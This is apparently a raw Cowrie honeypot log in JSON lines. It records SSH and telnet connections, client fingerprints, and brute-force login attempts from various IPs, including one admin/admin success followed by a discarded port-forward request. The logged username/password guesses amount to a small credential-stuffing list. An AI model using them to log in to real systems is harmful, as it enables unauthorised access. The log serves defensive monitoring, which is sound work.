{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:19.538974Z","src_ip":"80.66.85.226","session":"afef9266bc21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rio7777","message":"login attempt [root/rio7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:19.792881Z","src_ip":"80.66.85.226","session":"afef9266bc21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:20.878731Z","src_ip":"80.66.85.226","session":"afef9266bc21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.146.80.100","src_port":17917,"dst_ip":"10.17.0.5","dst_port":22,"session":"3338c6a8ec10","protocol":"ssh","message":"New connection: 217.146.80.100:17917 (10.17.0.5:22) [session: 3338c6a8ec10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:25.010396Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:25.084957Z","src_ip":"217.146.80.100","session":"3338c6a8ec10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:25.379271Z","src_ip":"14.103.73.80","session":"444968c1f23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54414,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb4492692520","protocol":"ssh","message":"New connection: 160.187.174.22:54414 (159.203.135.109:22) [session: bb4492692520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:27.534477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:27.538936Z","src_ip":"160.187.174.22","session":"bb4492692520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:27.780757Z","src_ip":"160.187.174.22","session":"bb4492692520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:28.516903Z","src_ip":"160.187.174.22","session":"bb4492692520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:29.762038Z","src_ip":"160.187.174.22","session":"bb4492692520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":12682,"dst_ip":"159.203.135.109","dst_port":22,"session":"de51a8629747","protocol":"ssh","message":"New connection: 176.53.159.196:12682 (159.203.135.109:22) [session: de51a8629747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:31.758793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:31.762916Z","src_ip":"176.53.159.196","session":"de51a8629747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:31.862883Z","src_ip":"176.53.159.196","session":"de51a8629747","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:32.172375Z","src_ip":"176.53.159.196","session":"de51a8629747","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:32.274951Z","session":"de51a8629747","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:32.376033Z","src_ip":"176.53.159.196","session":"de51a8629747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:32.477958Z","src_ip":"176.53.159.196","session":"de51a8629747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.133.173.126","src_port":2658,"dst_ip":"10.17.0.5","dst_port":22,"session":"351ec7c5e331","protocol":"ssh","message":"New connection: 45.133.173.126:2658 (10.17.0.5:22) [session: 351ec7c5e331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:36.353313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:36.356842Z","src_ip":"45.133.173.126","session":"351ec7c5e331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:36.428065Z","src_ip":"45.133.173.126","session":"351ec7c5e331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:36.504177Z","src_ip":"45.133.173.126","session":"351ec7c5e331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":37792,"dst_ip":"10.17.0.5","dst_port":22,"session":"791085bcb9b9","protocol":"ssh","message":"New connection: 209.99.190.113:37792 (10.17.0.5:22) [session: 791085bcb9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:55.649119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:55.655305Z","src_ip":"209.99.190.113","session":"791085bcb9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:55.756124Z","src_ip":"209.99.190.113","session":"791085bcb9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"1234","message":"login attempt [student/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:56.179745Z","src_ip":"209.99.190.113","session":"791085bcb9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.174.5.146","src_port":34731,"dst_ip":"159.203.135.109","dst_port":22,"session":"339cdab1f3b7","protocol":"ssh","message":"New connection: 172.174.5.146:34731 (159.203.135.109:22) [session: 339cdab1f3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:56.226114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:56.233753Z","src_ip":"172.174.5.146","session":"339cdab1f3b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:56.247355Z","src_ip":"172.174.5.146","session":"339cdab1f3b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"443321","message":"login attempt [root/443321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:56.335266Z","src_ip":"172.174.5.146","session":"339cdab1f3b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:57.281608Z","src_ip":"209.99.190.113","session":"791085bcb9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:57.350442Z","src_ip":"172.174.5.146","session":"339cdab1f3b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55110,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f9306d810ed","protocol":"ssh","message":"New connection: 160.187.174.22:55110 (159.203.135.109:22) [session: 4f9306d810ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.444333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.483076Z","src_ip":"160.187.174.22","session":"4f9306d810ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":52446,"dst_ip":"10.17.0.5","dst_port":22,"session":"0637f8fbe462","protocol":"ssh","message":"New connection: 46.19.67.181:52446 (10.17.0.5:22) [session: 0637f8fbe462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.544593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.548195Z","src_ip":"46.19.67.181","session":"0637f8fbe462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.655578Z","src_ip":"46.19.67.181","session":"0637f8fbe462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.691056Z","src_ip":"160.187.174.22","session":"4f9306d810ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52366,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe8fb98fbf09","protocol":"telnet","message":"New connection: 170.64.224.25:52366 (159.203.135.109:23) [session: fe8fb98fbf09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.886072Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"199105","message":"login attempt [root/199105] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:58.971645Z","src_ip":"46.19.67.181","session":"0637f8fbe462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4e2q1w3r","message":"login attempt [root/4e2q1w3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:59.653538Z","src_ip":"160.187.174.22","session":"4f9306d810ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:00.079782Z","src_ip":"46.19.67.181","session":"0637f8fbe462","protocol":"ssh"}
